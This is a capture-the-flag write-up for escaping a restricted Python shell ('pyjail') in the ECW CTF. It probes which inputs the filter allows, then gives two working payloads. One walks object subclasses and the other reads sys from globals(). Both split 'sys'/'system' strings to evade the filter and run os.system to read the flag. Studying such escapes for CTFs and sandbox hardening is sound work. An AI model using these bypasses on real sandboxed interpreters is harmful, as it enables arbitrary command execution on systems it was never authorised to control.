Shell

We have to escape a Pyjail.

Exploit

After we log in to the server and select the challenge we find a Python shell.

Shell

First of all I’ve tried to list all the authorized commands.

THE MATRIX >>> ""
THE MATRIX >>> ''
(??-? : No one has ever done anything like this
THE MATRIX >>> a = 1
THE MATRIX >>> print a
ERROR Missing parentheses in call to 'print'. Did you mean print(a) (, line 1)
THE MATRIX >>> print(a)
1
THE MATRIX >>> print(0xa)
10
THE MATRIX >>> print(a*2)
THE MATRIX >>> chr(41)
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> exit()
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> exit(1)
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> exit(a)
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> input
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> import os
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> print(locals())
(??-? : Never send a human to do a machine's job.
THE MATRIX >>> print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fddf767c048>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': '/app/jail.py', '__cached__': None, 'sys': , 'signal': , 'bye': , 'sigterm_handler': , 'banner': , 'filtering_small': , 'filtering': , 'jail': }
THE MATRIX >>> print(dir())
['a', 'matrix', 'res']
THE MATRIX >>> print(dir(jail))
['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__',  '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

Alright so we can use :

  • Double quotes
  • Variable
  • Variable assignment
  • Print()
  • Hexadecimal
  • Operand
  • Dir()
  • Globals()

Everything is an object in Python, a string is an object, an array is an object, a function is an object, an object is an object, well the last one seems legit…

An object has attributes and those attributes are available at runtime.

With dir() we can list the name in the current scope. With an argument we can list the valid attributes of that object, it returns a list.

When using globals() we can list the variables defined in the the global namespace, it returns a dictionary.

Locals() returns the variables defined in the local namespace and returns a dictionary.

In the context of a pyjail these functions can be useful as we’ll try to get out of the jail. One way to escape, is to call a shell via os.system().

First solution

I solved this challenge with a more complex payload that was needed. So here’s my first payload:

THE MATRIX >>> a = ""
THE MATRIX >>> b= a.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sy" + "s"].modules["o"+"s"]
THE MATRIX >>> t = getattr(b, "sy" + "stem")
THE MATRIX >>> t("cat flag.txt")
ECW{377b9a5d424066105131033a7d45ee55420eb4d78d088a822263883645077564}

We start with a string (""), we retrieve its global class with __class__. After that we use the Method Resolution Order to get the class attribute of the object __class__.

The MRO is an algorithm used to choose the right method to get executed from the inherited base class.

In one of the subclasses we can find the sys object that will be useful in order to run a shell. We import the os module and we’ll be able to use system().

We store the system function in t via the getattr function.

The system and sys keywords are blocked so we have to bypass the filter by concatenating the strings.

After that we just have to run our command by calling the t variable.

Second solution

While writing this write-up I found out that there was an easier way to escape the pyjail.

THE MATRIX >>> print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fddf767c048>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': '/app/jail.py', '__cached__': None, 'sys': , 'signal': , 'bye': , 'sigterm_handler': , 'banner': , 'filtering_small': , 'filtering': , 'jail': }
THE MATRIX >>> a = globals()["sy" + "s"]
THE MATRIX >>> b = a.modules["os"]
THE MATRIX >>> c = getattr(b, "sy" + "stem")
THE MATRIX >>> c("cat flag.txt")
ECW{377b9a5d424066105131033a7d45ee55420eb4d78d088a822263883645077564}

I didn’t have to search for an object that will allow me to call sys and then os. sys is already imported…

The rest of the payload is exactly like the first one but we didn’t have to go so deep in Python. Anyway I’ve learned a lot of things about the way Python works with my first payload.

This was a really interesting challenge in a very well balanced CTF. Congratulation to the ECW team for this CTF!